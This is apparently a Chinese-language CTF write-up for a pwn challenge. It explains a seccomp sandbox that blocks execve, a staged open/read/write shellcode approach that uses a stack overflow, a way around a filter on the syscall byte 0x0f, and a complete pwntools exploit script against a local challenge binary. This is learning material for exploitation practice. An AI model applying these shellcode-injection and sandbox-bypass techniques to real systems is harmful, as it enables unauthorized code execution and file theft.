沙箱机制,说白了就是程序员程序中写入了禁止调用shell流的函数,如下图所示
在sandbox中有这两条命令,这两条命令的意思就是禁止使用函数execve函数去进行系统调用,既然这里禁止了,那么我们该如何去获取flag呢,这里其实你看不懂这两句代码也没关系,但你发现sandbox的时候你就要意识到这是沙箱,所以这里其实是有一个工具可以去检测沙箱是禁止调用了哪些shellcode的,这个工具就是seccomp-tools
工具的具体使用就是这样,这里我们可以很清楚的看到上面显示的函数都goto 0012,而0012都是return KILL,意思就是如果发现以上函数的shellcode就会立马退出函数。
既然无法使用shellcraft.sh()那我们该怎么办呢,这就是问题所在,于是这里便提供了一种思路,execve既然不能用,但是其他的没有禁止,所以这里我们可以利用open打开文件,read去读取文件,write去输出文件,这样不就可以了
但是事实就是这样,想法很美好,但是现实却是残酷的
我们把目光想这里看齐,发现buf只能输入0x20大小的数据,而我们这里却要足足用到三个shellcode(open,read,write)来进行flag的打印,所以我们要想想其他的办法来进行数据的写入,嘿嘿,但是这个地方又有一种思路可以提供,就是我们可以在buf中只输入read,然后通过我们制造的read函数来加大数据的读入,最会栈溢出到我们的read,运行read去写入open,read,write,这岂不妙哉 ,具体表示如下
就是这么一个流程,但是这里还是需要主要一个问题,就是你输入的shellcode要遵守两个原则,第一是要保证互相不覆盖其他数据,第二是要紧挨才能运行,所以上面那个图只是我们的思路图,但并不是我们的最终图,如果按照上面的方法输入的化,open会覆盖掉read,所以这里我们要去计算shellcraft.read()的大小,在read的后面继续写上我们的open,read,write
那么这个问题解决以后是不是就可以直接写exp了呢,其实则不然,后面还有一个checksec的函数检查
这里我们可以发现这里对我们输入的字符串进行一个检查,如果说等于15的数据的就会跳出程序为什么了,其实将15换算一下我们可以发现就是\x0f,而\x0f其实就是syscall的字节流
在我们的shellcode中都会有\x0f,所以我们要想办法去绕过这个函数
我们可以看一下这个位置,发现他只检查到第26个字符,但是输入的时候是可以输入32位字节,所以这里我们就可以往前面输入字符使我们的\x0f的数据跳出这个循环的位置,就可以去读取到flag了,完整exp如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process("./shellcode2")
def dbg():
gdb.attach(io)
pause()
shellcode_sh=asm(shellcraft.sh())
shellcode_read=b'a'*10+asm(shellcraft.read(0,0x233000+0x1f,0x200))
#这里加上的0x1f就是b'a'*10加上read的shellcode的大小,这里是可以算出来的
#print(shellcode_read)
#print(shellcode_sh)
#print(hex(len(shellcode_read)))
dbg()
io.sendafter("Show me your magic.\n",shellcode_read)
payload=0x30*b'a'+8*b'a'+p64(0x233000+10)
io.recvuntil("Good luck!\n")
# dbg()
io.sendline(payload)
shellcode=shellcraft.open("flag")+shellcraft.read(3,0x233000+0x200,0x50)+shellcraft.write(1,0x233000+0x200,0x50)
shellcode=asm(shellcode)
# dbg()
pause()
io.sendline(shellcode)
io.interactive()
这里是我算的过程